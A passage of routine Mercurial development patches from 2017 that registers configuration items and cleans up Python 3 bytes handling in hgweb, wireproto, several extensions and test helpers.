diff --git a/mercurial/hgweb/server.py b/mercurial/hgweb/server.py
--- a/mercurial/hgweb/server.py
+++ b/mercurial/hgweb/server.py
@@ -194,9 +194,9 @@
             self._chunked = (not self.close_connection and
                              self.request_version == "HTTP/1.1")
             if self._chunked:
-                self.send_header('Transfer-Encoding', 'chunked')
+                self.send_header(r'Transfer-Encoding', r'chunked')
             else:
-                self.send_header('Connection', 'close')
+                self.send_header(r'Connection', r'close')
         self.end_headers()
         self.sent_headers = True
 
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1508042393 14400
#      Sun Oct 15 00:39:53 2017 -0400
# Node ID 60143d038eb7beb1b153a49317c2cd14f0ad9873
# Parent  b2601c5977a4408fa9049bde2e8b3f785fd297b8
wireproto: more strkwargs cleanup

Differential Revision: https://phab.mercurial-scm.org/D1109

diff --git a/mercurial/wireproto.py b/mercurial/wireproto.py
--- a/mercurial/wireproto.py
+++ b/mercurial/wireproto.py
@@ -859,7 +859,8 @@
                     _('server has pull-based clones disabled'),
                     hint=_('remove --pull if specified or upgrade Mercurial'))
 
-        chunks = exchange.getbundlechunks(repo, 'serve', **opts)
+        chunks = exchange.getbundlechunks(repo, 'serve',
+                                          **pycompat.strkwargs(opts))
     except error.Abort as exc:
         # cleanly forward Abort error to the client
         if not exchange.bundle2requested(opts.get('bundlecaps')):
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1508042494 14400
#      Sun Oct 15 00:41:34 2017 -0400
# Node ID 5a9cad0dfddb8360f2e10a7c3bd8544dfcdd7a5b
# Parent  60143d038eb7beb1b153a49317c2cd14f0ad9873
hgweb: when unpacking args from request form, convert to bytes

We assume http-originated values are ASCII, which should be safe based
on the RFC.

Differential Revision: https://phab.mercurial-scm.org/D1110

diff --git a/mercurial/hgweb/protocol.py b/mercurial/hgweb/protocol.py
--- a/mercurial/hgweb/protocol.py
+++ b/mercurial/hgweb/protocol.py
@@ -16,6 +16,7 @@
 
 from .. import (
     error,
+    pycompat,
     util,
     wireproto,
 )
@@ -65,6 +66,9 @@
         return [data[k] for k in keys]
     def _args(self):
         args = self.req.form.copy()
+        if pycompat.ispy3:
+            args = {k.encode('ascii'): [v.encode('ascii') for v in vs]
+                    for k, vs in args.items()}
         postlen = int(self.req.env.get('HTTP_X_HGARGS_POST', 0))
         if postlen:
             args.update(cgi.parse_qs(
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1508042545 14400
#      Sun Oct 15 00:42:25 2017 -0400
# Node ID dc2bf70741472fe5f6a5662a84036821fcbda92d
# Parent  5a9cad0dfddb8360f2e10a7c3bd8544dfcdd7a5b
hgweb: more "headers are native strs" cleanup

I'll fix the decodevaluefromheaders function in an upcoming change.

Differential Revision: https://phab.mercurial-scm.org/D1111

diff --git a/mercurial/hgweb/protocol.py b/mercurial/hgweb/protocol.py
--- a/mercurial/hgweb/protocol.py
+++ b/mercurial/hgweb/protocol.py
@@ -69,13 +69,13 @@
         if pycompat.ispy3:
             args = {k.encode('ascii'): [v.encode('ascii') for v in vs]
                     for k, vs in args.items()}
-        postlen = int(self.req.env.get('HTTP_X_HGARGS_POST', 0))
+        postlen = int(self.req.env.get(r'HTTP_X_HGARGS_POST', 0))
         if postlen:
             args.update(cgi.parse_qs(
                 self.req.read(postlen), keep_blank_values=True))
             return args
 
-        argvalue = decodevaluefromheaders(self.req, 'X-HgArg')
+        argvalue = decodevaluefromheaders(self.req, r'X-HgArg')
         args.update(cgi.parse_qs(argvalue, keep_blank_values=True))
         return args
     def getfile(self, fp):
@@ -115,7 +115,7 @@
 
         # Determine the response media type and compression engine based
         # on the request parameters.
-        protocaps = decodevaluefromheaders(self.req, 'X-HgProto').split(' ')
+        protocaps = decodevaluefromheaders(self.req, r'X-HgProto').split(' ')
 
         if '0.2' in protocaps:
             # Default as defined by wire protocol spec.
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1508042581 14400
#      Sun Oct 15 00:43:01 2017 -0400
# Node ID 0a2ef612ad50e3f9e5700178c2df08c29228e511
# Parent  dc2bf70741472fe5f6a5662a84036821fcbda92d
hgweb: fix decodevaluefromheaders to always return a bytes value

That's more in line with what we want, and we know it's ASCII data
since that's all HTTP technically allows in headers anyway.

Differential Revision: https://phab.mercurial-scm.org/D1112

diff --git a/mercurial/hgweb/protocol.py b/mercurial/hgweb/protocol.py
--- a/mercurial/hgweb/protocol.py
+++ b/mercurial/hgweb/protocol.py
@@ -30,15 +30,18 @@
 HGERRTYPE = 'application/hg-error'
 
 def decodevaluefromheaders(req, headerprefix):
-    """Decode a long value from multiple HTTP request headers."""
+    """Decode a long value from multiple HTTP request headers.
+
+    Returns the value as a bytes, not a str.
+    """
     chunks = []
     i = 1
+    prefix = headerprefix.upper().replace(r'-', r'_')
     while True:
-        v = req.env.get('HTTP_%s_%d' % (
-            headerprefix.upper().replace('-', '_'), i))
+        v = req.env.get(r'HTTP_%s_%d' % (prefix, i))
         if v is None:
             break
-        chunks.append(v)
+        chunks.append(pycompat.bytesurl(v))
         i += 1
 
     return ''.join(chunks)
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507755083 -7200
#      Wed Oct 11 22:51:23 2017 +0200
# Node ID 0b46440b1b45c2e129b58b51bb7c4fe0e529bbbd
# Parent  0a2ef612ad50e3f9e5700178c2df08c29228e511
configitems: register the 'blackbox.maxfiles' config

diff --git a/hgext/blackbox.py b/hgext/blackbox.py
--- a/hgext/blackbox.py
+++ b/hgext/blackbox.py
@@ -70,6 +70,9 @@
 configitem('blackbox', 'logsource',
     default=False,
 )
+configitem('blackbox', 'maxfiles',
+    default=7,
+)
 configitem('blackbox', 'track',
     default=lambda: ['*'],
 )
@@ -102,7 +105,7 @@
         else:
             if st.st_size >= maxsize:
                 path = vfs.join(name)
-                maxfiles = ui.configint('blackbox', 'maxfiles', 7)
+                maxfiles = ui.configint('blackbox', 'maxfiles')
                 for i in xrange(maxfiles - 1, 1, -1):
                     rotate(oldpath='%s.%d' % (path, i - 1),
                            newpath='%s.%d' % (path, i))
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507755197 -7200
#      Wed Oct 11 22:53:17 2017 +0200
# Node ID 54fa3db5becfa8a56f52113a05e2eda21fd82d3e
# Parent  0b46440b1b45c2e129b58b51bb7c4fe0e529bbbd
configitems: register the 'progress.format' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -591,6 +591,9 @@
 coreconfigitem('progress', 'estimateinterval',
     default=60.0,
 )
+coreconfigitem('progress', 'format',
+    default=lambda: ['topic', 'bar', 'number', 'estimate'],
+)
 coreconfigitem('progress', 'refresh',
     default=0.1,
 )
diff --git a/mercurial/progress.py b/mercurial/progress.py
--- a/mercurial/progress.py
+++ b/mercurial/progress.py
@@ -101,9 +101,7 @@
         self.changedelay = max(3 * self.refresh,
                                float(self.ui.config(
                                    'progress', 'changedelay')))
-        self.order = self.ui.configlist(
-            'progress', 'format',
-            default=['topic', 'bar', 'number', 'estimate'])
+        self.order = self.ui.configlist('progress', 'format')
         self.estimateinterval = self.ui.configwith(
             float, 'progress', 'estimateinterval')
 
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507760352 -7200
#      Thu Oct 12 00:19:12 2017 +0200
# Node ID 5cf98daad7b17510eae0a72224c82f5d377af1a8
# Parent  54fa3db5becfa8a56f52113a05e2eda21fd82d3e
configitems: register the 'hostsecurity.minimumprotocol' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -460,6 +460,9 @@
 coreconfigitem('hostsecurity', 'disabletls10warning',
     default=False,
 )
+coreconfigitem('hostsecurity', 'minimumprotocol',
+    default=dynamicdefault,
+)
 coreconfigitem('http_proxy', 'always',
     default=False,
 )
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507760441 -7200
#      Thu Oct 12 00:20:41 2017 +0200
# Node ID 8c1d0fe1f4319dae127b68c410ff9546b697b80e
# Parent  5cf98daad7b17510eae0a72224c82f5d377af1a8
configitems: register the 'hostfingerprints' section

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -454,6 +454,10 @@
     default=dynamicdefault,
     generic=True,
 )
+coreconfigitem('hostfingerprints', '.*',
+    default=list,
+    generic=True,
+)
 coreconfigitem('hostsecurity', 'ciphers',
     default=None,
 )
diff --git a/mercurial/sslutil.py b/mercurial/sslutil.py
--- a/mercurial/sslutil.py
+++ b/mercurial/sslutil.py
@@ -200,7 +200,7 @@
         s['certfingerprints'].append((alg, fingerprint))
 
     # Fingerprints from [hostfingerprints] are always SHA-1.
-    for fingerprint in ui.configlist('hostfingerprints', hostname, []):
+    for fingerprint in ui.configlist('hostfingerprints', hostname):
         fingerprint = fingerprint.replace(':', '').lower()
         s['certfingerprints'].append(('sha1', fingerprint))
         s['legacyfingerprint'] = True
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507923084 -7200
#      Fri Oct 13 21:31:24 2017 +0200
# Node ID acdc574cb8d7530dc95be048a9e3e43457603d0c
# Parent  8c1d0fe1f4319dae127b68c410ff9546b697b80e
contrib-perf: update the config registration

There are various issue with the previous code, all hidden by the try-except
clause. These are fixed now.

diff --git a/contrib/perf.py b/contrib/perf.py
--- a/contrib/perf.py
+++ b/contrib/perf.py
@@ -140,17 +140,21 @@
         return decorator
 
 try:
-    import registrar
+    import mercurial.registrar
+    import mercurial.configitems
     configtable = {}
-    configitem = registrar.configitem(configtable)
+    configitem = mercurial.registrar.configitem(configtable)
+    configitem('perf', 'presleep',
+        default=mercurial.configitems.dynamicdefault,
+    )
     configitem('perf', 'stub',
-        default=False,
+        default=mercurial.configitems.dynamicdefault,
     )
 except (ImportError, AttributeError):
     pass
 
 def getlen(ui):
-    if ui.configbool("perf", "stub"):
+    if ui.configbool("perf", "stub", False):
         return lambda x: 1
     return len
 
@@ -213,7 +217,7 @@
 
     # stub function, runs code only once instead of in a loop
     # experimental config: perf.stub
-    if ui.configbool("perf", "stub"):
+    if ui.configbool("perf", "stub", False):
         return functools.partial(stub_timer, fm), fm
     return functools.partial(_timer, fm), fm
 
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507923149 -7200
#      Fri Oct 13 21:32:29 2017 +0200
# Node ID caf6c446cbe3bdcb37fb090b0f1af5a71e3b3be5
# Parent  acdc574cb8d7530dc95be048a9e3e43457603d0c
contrib-perf: register the 'parentscount' config item

diff --git a/contrib/perf.py b/contrib/perf.py
--- a/contrib/perf.py
+++ b/contrib/perf.py
@@ -150,6 +150,9 @@
     configitem('perf', 'stub',
         default=mercurial.configitems.dynamicdefault,
     )
+    configitem('perf', 'parentscount',
+        default=mercurial.configitems.dynamicdefault,
+    )
 except (ImportError, AttributeError):
     pass
 
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507761885 -7200
#      Thu Oct 12 00:44:45 2017 +0200
# Node ID bbeaa5415266704361a8acfd3641bf63d966880c
# Parent  caf6c446cbe3bdcb37fb090b0f1af5a71e3b3be5
configitems: register the 'hgweb-paths' section

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -454,6 +454,10 @@
     default=dynamicdefault,
     generic=True,
 )
+coreconfigitem('hgweb-paths', '.*',
+    default=list,
+    generic=True,
+)
 coreconfigitem('hostfingerprints', '.*',
     default=list,
     generic=True,
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507762669 -7200
#      Thu Oct 12 00:57:49 2017 +0200
# Node ID b811f06b144d6ac7c2ee8661bed1c5789866267c
# Parent  bbeaa5415266704361a8acfd3641bf63d966880c
configitem: register the 'notify.incoming' config

diff --git a/hgext/notify.py b/hgext/notify.py
--- a/hgext/notify.py
+++ b/hgext/notify.py
@@ -170,6 +170,9 @@
 configitem('notify', 'fromauthor',
     default=None,
 )
+configitem('notify', 'incoming',
+    default=None,
+)
 configitem('notify', 'maxdiff',
     default=300,
 )
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507924232 -7200
#      Fri Oct 13 21:50:32 2017 +0200
# Node ID 12a69c8063829c54eedcd18cd148825579be5cff
# Parent  b811f06b144d6ac7c2ee8661bed1c5789866267c
configitem: register the 'notify.outgoing' config

diff --git a/hgext/notify.py b/hgext/notify.py
--- a/hgext/notify.py
+++ b/hgext/notify.py
@@ -185,6 +185,9 @@
 configitem('notify', 'merge',
     default=True,
 )
+configitem('notify', 'outgoing',
+    default=None,
+)
 configitem('notify', 'sources',
     default='serve',
 )
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507924243 -7200
#      Fri Oct 13 21:50:43 2017 +0200
# Node ID a0a727104eed6053a6a03d3207e81e1259d96bbe
# Parent  12a69c8063829c54eedcd18cd148825579be5cff
configitem: register the 'notify.changegroup' config

diff --git a/hgext/notify.py b/hgext/notify.py
--- a/hgext/notify.py
+++ b/hgext/notify.py
@@ -158,6 +158,9 @@
 configtable = {}
 configitem = registrar.configitem(configtable)
 
+configitem('notify', 'changegroup',
+    default=None,
+)
 configitem('notify', 'config',
     default=None,
 )
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507926363 -7200
#      Fri Oct 13 22:26:03 2017 +0200
# Node ID 66adbe3c1046b6603f1bfbdf8651e01428b25e88
# Parent  a0a727104eed6053a6a03d3207e81e1259d96bbe
configitems: register the 'largefiles.minsize' config

diff --git a/hgext/largefiles/__init__.py b/hgext/largefiles/__init__.py
--- a/hgext/largefiles/__init__.py
+++ b/hgext/largefiles/__init__.py
@@ -107,8 +107,10 @@
 from __future__ import absolute_import
 
 from mercurial import (
+    configitems,
     hg,
     localrepo,
+    registrar,
 )
 
 from . import (
@@ -125,6 +127,12 @@
 # leave the attribute unspecified.
 testedwith = 'ships-with-hg-core'
 
+configtable = {}
+configitem = registrar.configitem(configtable)
+
+configitem('largefiles', 'minsize',
+    default=configitems.dynamicdefault,
+)
 reposetup = reposetup.reposetup
 
 def featuresetup(ui, supported):
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507926418 -7200
#      Fri Oct 13 22:26:58 2017 +0200
# Node ID 3f3c6d12095d5646af8aeab012ab7b4ca1fdd673
# Parent  66adbe3c1046b6603f1bfbdf8651e01428b25e88
configitems: register the 'largefiles.patterns' config

diff --git a/hgext/largefiles/__init__.py b/hgext/largefiles/__init__.py
--- a/hgext/largefiles/__init__.py
+++ b/hgext/largefiles/__init__.py
@@ -133,6 +133,9 @@
 configitem('largefiles', 'minsize',
     default=configitems.dynamicdefault,
 )
+configitem('largefiles', 'patterns',
+    default=list,
+)
 reposetup = reposetup.reposetup
 
 def featuresetup(ui, supported):
diff --git a/hgext/largefiles/lfcommands.py b/hgext/largefiles/lfcommands.py
--- a/hgext/largefiles/lfcommands.py
+++ b/hgext/largefiles/lfcommands.py
@@ -109,7 +109,7 @@
             lfiles = set()
             normalfiles = set()
             if not pats:
-                pats = ui.configlist(lfutil.longname, 'patterns', default=[])
+                pats = ui.configlist(lfutil.longname, 'patterns')
             if pats:
                 matcher = matchmod.match(rsrc.root, '', list(pats))
             else:
diff --git a/hgext/largefiles/overrides.py b/hgext/largefiles/overrides.py
--- a/hgext/largefiles/overrides.py
+++ b/hgext/largefiles/overrides.py
@@ -111,7 +111,7 @@
 
     lfmatcher = None
     if lfutil.islfilesrepo(repo):
-        lfpats = ui.configlist(lfutil.longname, 'patterns', default=[])
+        lfpats = ui.configlist(lfutil.longname, 'patterns')
         if lfpats:
             lfmatcher = matchmod.match(repo.root, '', list(lfpats))
 
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507926483 -7200
#      Fri Oct 13 22:28:03 2017 +0200
# Node ID 8cf0a6cd1ed2cc1c45e28f02908e663c22691833
# Parent  3f3c6d12095d5646af8aeab012ab7b4ca1fdd673
configitems: register the 'largefiles.usercache' config

diff --git a/hgext/largefiles/__init__.py b/hgext/largefiles/__init__.py
--- a/hgext/largefiles/__init__.py
+++ b/hgext/largefiles/__init__.py
@@ -136,6 +136,10 @@
 configitem('largefiles', 'patterns',
     default=list,
 )
+configitem('largefiles', 'usercache',
+    default=None,
+)
+
 reposetup = reposetup.reposetup
 
 def featuresetup(ui, supported):
diff --git a/hgext/largefiles/lfutil.py b/hgext/largefiles/lfutil.py
--- a/hgext/largefiles/lfutil.py
+++ b/hgext/largefiles/lfutil.py
@@ -71,7 +71,7 @@
 
 def _usercachedir(ui):
     '''Return the location of the "global" largefiles cache.'''
-    path = ui.configpath(longname, 'usercache', None)
+    path = ui.configpath(longname, 'usercache')
     if path:
         return path
     if pycompat.iswindows:
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507761498 -7200
#      Thu Oct 12 00:38:18 2017 +0200
# Node ID 9ea416a4b4f7ffe4aba1d5382da0d9afd6b3d774
# Parent  8cf0a6cd1ed2cc1c45e28f02908e663c22691833
configitems: register the 'experimental.uncommitondirtywdir' config

diff --git a/hgext/uncommit.py b/hgext/uncommit.py
--- a/hgext/uncommit.py
+++ b/hgext/uncommit.py
@@ -36,6 +36,13 @@
 cmdtable = {}
 command = registrar.command(cmdtable)
 
+configtable = {}
+configitem = registrar.configitem(configtable)
+
+configitem('experimental', 'uncommitondirtywdir',
+    default=False,
+)
+
 # Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for
 # extensions which SHIP WITH MERCURIAL. Non-mainline extensions should
 # be specifying the version(s) of Mercurial they are tested with, or
@@ -150,7 +157,7 @@
         wctx = repo[None]
 
         if not pats and not repo.ui.configbool('experimental',
-                                                'uncommitondirtywdir', False):
+                                                'uncommitondirtywdir'):
             cmdutil.bailifchanged(repo)
         if wctx.parents()[0].node() == node.nullid:
             raise error.Abort(_("cannot uncommit null changeset"))
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507928626 -7200
#      Fri Oct 13 23:03:46 2017 +0200
# Node ID cd7bf9ad0e69d61cd75c855e311b2ff74bfd37bf
# Parent  9ea416a4b4f7ffe4aba1d5382da0d9afd6b3d774
configitems: register the 'web.staticurl' config

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -962,6 +962,9 @@
 coreconfigitem('web', 'refreshinterval',
     default=20,
 )
+coreconfigitem('web', 'staticurl',
+    default=None,
+)
 coreconfigitem('web', 'stripes',
     default=1,
 )
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507928800 -7200
#      Fri Oct 13 23:06:40 2017 +0200
# Node ID 3819809198c6de0701cb75623244fe635ef78a26
# Parent  cd7bf9ad0e69d61cd75c855e311b2ff74bfd37bf
configitems: register the 'patchbomb.bcc' config

diff --git a/hgext/patchbomb.py b/hgext/patchbomb.py
--- a/hgext/patchbomb.py
+++ b/hgext/patchbomb.py
@@ -106,6 +106,9 @@
 configitem('patchbomb', 'bundletype',
     default=None,
 )
+configitem('patchbomb', 'bcc',
+    default=None,
+)
 configitem('patchbomb', 'confirm',
     default=False,
 )
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507928821 -7200
#      Fri Oct 13 23:07:01 2017 +0200
# Node ID cb1ea7ef773d39132a78431b72cd570162cc173a
# Parent  3819809198c6de0701cb75623244fe635ef78a26
configitems: register the 'patchbomb.cc' config

diff --git a/hgext/patchbomb.py b/hgext/patchbomb.py
--- a/hgext/patchbomb.py
+++ b/hgext/patchbomb.py
@@ -109,6 +109,9 @@
 configitem('patchbomb', 'bcc',
     default=None,
 )
+configitem('patchbomb', 'cc',
+    default=None,
+)
 configitem('patchbomb', 'confirm',
     default=False,
 )
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507928832 -7200
#      Fri Oct 13 23:07:12 2017 +0200
# Node ID 9223a437fdb621f5179f4bee8474ff49fdc562a1
# Parent  cb1ea7ef773d39132a78431b72cd570162cc173a
configitems: register the 'patchbomb.reply-to' config

diff --git a/hgext/patchbomb.py b/hgext/patchbomb.py
--- a/hgext/patchbomb.py
+++ b/hgext/patchbomb.py
@@ -127,6 +127,9 @@
 configitem('patchbomb', 'publicurl',
     default=None,
 )
+configitem('patchbomb', 'reply-to',
+    default=None,
+)
 
 # Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for
 # extensions which SHIP WITH MERCURIAL. Non-mainline extensions should
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507929049 -7200
#      Fri Oct 13 23:10:49 2017 +0200
# Node ID 7c52a65010b1414244c9c787b4b93874b44b29dc
# Parent  9223a437fdb621f5179f4bee8474ff49fdc562a1
configitems: register the test 'failpush.reason' config

diff --git a/tests/test-bundle2-exchange.t b/tests/test-bundle2-exchange.t
--- a/tests/test-bundle2-exchange.t
+++ b/tests/test-bundle2-exchange.t
@@ -461,9 +461,18 @@
   > from mercurial import bundle2
   > from mercurial import exchange
   > from mercurial import extensions
+  > from mercurial import registrar
+  > cmdtable = {}
+  > command = registrar.command(cmdtable)
+  > 
+  > configtable = {}
+  > configitem = registrar.configitem(configtable)
+  > configitem('failpush', 'reason',
+  >     default=None,
+  > )
   > 
   > def _pushbundle2failpart(pushop, bundler):
-  >     reason = pushop.ui.config('failpush', 'reason', None)
+  >     reason = pushop.ui.config('failpush', 'reason')
   >     part = None
   >     if reason == 'abort':
   >         bundler.newpart('test:abort')
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507931197 -7200
#      Fri Oct 13 23:46:37 2017 +0200
# Node ID af43cb56af4ef1885433f67c8b9ead6a50310862
# Parent  7c52a65010b1414244c9c787b4b93874b44b29dc
configitems: register the test 'logtoprocess.foo' config

diff --git a/tests/test-logtoprocess.t b/tests/test-logtoprocess.t
--- a/tests/test-logtoprocess.t
+++ b/tests/test-logtoprocess.t
@@ -12,6 +12,11 @@
   > from mercurial import registrar
   > cmdtable = {}
   > command = registrar.command(cmdtable)
+  > configtable = {}
+  > configitem = registrar.configitem(configtable)
+  > configitem('logtoprocess', 'foo',
+  >     default=None,
+  > )
   > @command(b'foo', [])
   > def foo(ui, repo):
   >     ui.log('foo', 'a message: %(bar)s\n', bar='spam')
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507931586 -7200
#      Fri Oct 13 23:53:06 2017 +0200
# Node ID f3e4a5ad0d90012614235886858744a34cdc4516
# Parent  af43cb56af4ef1885433f67c8b9ead6a50310862
configitems: register the test 'failafterfinalize.fail' config

diff --git a/tests/test-commandserver.t b/tests/test-commandserver.t
--- a/tests/test-commandserver.t
+++ b/tests/test-commandserver.t
@@ -808,6 +808,14 @@
   $ cat > $TESTTMP/failafterfinalize.py <<EOF
   > # extension to abort transaction after finalization forcibly
   > from mercurial import commands, error, extensions, lock as lockmod
+  > from mercurial import registrar
+  > cmdtable = {}
+  > command = registrar.command(cmdtable)
+  > configtable = {}
+  > configitem = registrar.configitem(configtable)
+  > configitem('failafterfinalize', 'fail',
+  >     default=None,
+  > )
   > def fail(tr):
   >     raise error.Abort('fail after finalization')
   > def reposetup(ui, repo):
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507689180 -7200
#      Wed Oct 11 04:33:00 2017 +0200
# Node ID d957d4475a644a3623b6d23f50156c4c164cc938
# Parent  f3e4a5ad0d90012614235886858744a34cdc4516
configitems: register the test 'ui.ioerrors' config

diff --git a/tests/test-rollback.t b/tests/test-rollback.t
--- a/tests/test-rollback.t
+++ b/tests/test-rollback.t
@@ -220,10 +220,18 @@
   > import errno
   > from mercurial.i18n import _
   > from mercurial import (
+  >     registrar,
   >     error,
   >     ui as uimod,
   > )
   > 
+  > configtable = {}
+  > configitem = registrar.configitem(configtable)
+  > 
+  > configitem('ui', 'ioerrors',
+  >     default=list,
+  > )
+  > 
   > def pretxncommit(ui, repo, **kwargs):
   >     ui.warn('warn during pretxncommit\n')
   > 
@@ -245,7 +253,7 @@
   >         return getattr(self._o, attr)
   > 
   >     def write(self, msg):
-  >         errors = set(self._ui.configlist('ui', 'ioerrors', []))
+  >         errors = set(self._ui.configlist('ui', 'ioerrors'))
   >         pretxncommit = msg == 'warn during pretxncommit\n'
   >         pretxnclose = msg == 'warn during pretxnclose\n'
   >         txnclose = msg == 'warn during txnclose\n'
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507757639 -7200
#      Wed Oct 11 23:33:59 2017 +0200
# Node ID 6338e23c887dad126de8a7934b8e8bec41a00f3c
# Parent  d957d4475a644a3623b6d23f50156c4c164cc938
configitems: register the test config in 'test-push-race.t'

diff --git a/tests/test-push-race.t b/tests/test-push-race.t
--- a/tests/test-push-race.t
+++ b/tests/test-push-race.t
@@ -22,18 +22,29 @@
   > from mercurial import (
   >     exchange,
   >     extensions,
+  >     registrar,
+  > )
+  > 
+  > configtable = {}
+  > configitem = registrar.configitem(configtable)
+  > 
+  > configitem('delaypush', 'ready-path',
+  >     default=None,
+  > )
+  > configitem('delaypush', 'release-path',
+  >     default=None,
   > )
   > 
   > def delaypush(orig, pushop):
   >     # notify we are done preparing
   >     ui = pushop.repo.ui
-  >     readypath = ui.config('delaypush', 'ready-path', None)
+  >     readypath = ui.config('delaypush', 'ready-path')
   >     if readypath is not None:
   >         with open(readypath, 'w') as r:
   >             r.write('foo')
   >         ui.status('wrote ready: %s\n' % readypath)
   >     # now wait for the other process to be done
-  >     watchpath = ui.config('delaypush', 'release-path', None)
+  >     watchpath = ui.config('delaypush', 'release-path')
   >     if watchpath is not None:
   >         ui.status('waiting on: %s\n' % watchpath)
   >         limit = 100
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507930411 -7200
#      Fri Oct 13 23:33:31 2017 +0200
# Node ID 2b954c9c5395bc2baf0c6842e31eb124f0f609f1
# Parent  6338e23c887dad126de8a7934b8e8bec41a00f3c
configitems: fix registration of extensions config

The new 'itemregister' class should be used when loading the extension config.
This was and oversight when itemregister was introduced.

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -18,7 +18,7 @@
 def loadconfigtable(ui, extname, configtable):
     """update config item known to the ui with the extension ones"""
     for section, items in configtable.items():
-        knownitems = ui._knownconfig.setdefault(section, {})
+        knownitems = ui._knownconfig.setdefault(section, itemregister())
         knownkeys = set(knownitems)
         newkeys = set(items)
         for key in sorted(knownkeys & newkeys):
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507929828 -7200
#      Fri Oct 13 23:23:48 2017 +0200
# Node ID 43c78d2819d8be69a314f2128f96a1cef376e830
# Parent  2b954c9c5395bc2baf0c6842e31eb124f0f609f1
configitems: register the 'extdata' section

diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -420,6 +420,10 @@
     default=None,
     generic=True,
 )
+coreconfigitem('extdata', '.*',
+    default=None,
+    generic=True,
+)
 coreconfigitem('format', 'aggressivemergedeltas',
     default=False,
 )
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507929976 -7200
#      Fri Oct 13 23:26:16 2017 +0200
# Node ID bb05720913d3a0e7874b98b4af18509185dc4063
# Parent  43c78d2819d8be69a314f2128f96a1cef376e830
configitems: register the 'gpg' arbitraty key section

diff --git a/hgext/gpg.py b/hgext/gpg.py
--- a/hgext/gpg.py
+++ b/hgext/gpg.py
@@ -39,6 +39,10 @@
 configitem('gpg', 'key',
     default=None,
 )
+configitem('gpg', '.*',
+    default=None,
+    generic=True,
+)
 
 class gpg(object):
     def __init__(self, path, key=None):
@@ -216,7 +220,7 @@
 def keystr(ui, key):
     """associate a string to a key (username, comment)"""
     keyid, user, fingerprint = key
-    comment = ui.config("gpg", fingerprint, None)
+    comment = ui.config("gpg", fingerprint)
     if comment:
         return "%s (%s)" % (user, comment)
     else:
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507932937 -7200
#      Sat Oct 14 00:15:37 2017 +0200
# Node ID 28b7034a916a1345bd05283a9f3a942cfb043cd3
# Parent  bb05720913d3a0e7874b98b4af18509185dc4063
configitems: register the test 'fakedirstatewritetime.fakenow' config

diff --git a/tests/fakedirstatewritetime.py b/tests/fakedirstatewritetime.py
--- a/tests/fakedirstatewritetime.py
+++ b/tests/fakedirstatewritetime.py
@@ -12,9 +12,17 @@
     dirstate,
     extensions,
     policy,
+    registrar,
     util,
 )
 
+configtable = {}
+configitem = registrar.configitem(configtable)
+
+configitem('fakedirstatewritetime', 'fakenow',
+    default=None,
+)
+
 parsers = policy.importmod(r'parsers')
 
 def pack_dirstate(fakenow, orig, dmap, copymap, pl, now):
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507932972 -7200
#      Sat Oct 14 00:16:12 2017 +0200
# Node ID 7be2f229285b58b5cdf0f8392357bd6d0566dad2
# Parent  28b7034a916a1345bd05283a9f3a942cfb043cd3
configitems: register the test 'fakepatchtime.fakenow' config

diff --git a/tests/fakepatchtime.py b/tests/fakepatchtime.py
--- a/tests/fakepatchtime.py
+++ b/tests/fakepatchtime.py
@@ -6,9 +6,17 @@
 from mercurial import (
     extensions,
     patch as patchmod,
+    registrar,
     util,
 )
 
+configtable = {}
+configitem = registrar.configitem(configtable)
+
+configitem('fakepatchtime', 'fakenow',
+    default=None,
+)
+
 def internalpatch(orig, ui, repo, patchobj, strip,
                   prefix='', files=None,
                   eolmode='strict', similarity=0):
# HG changeset patch
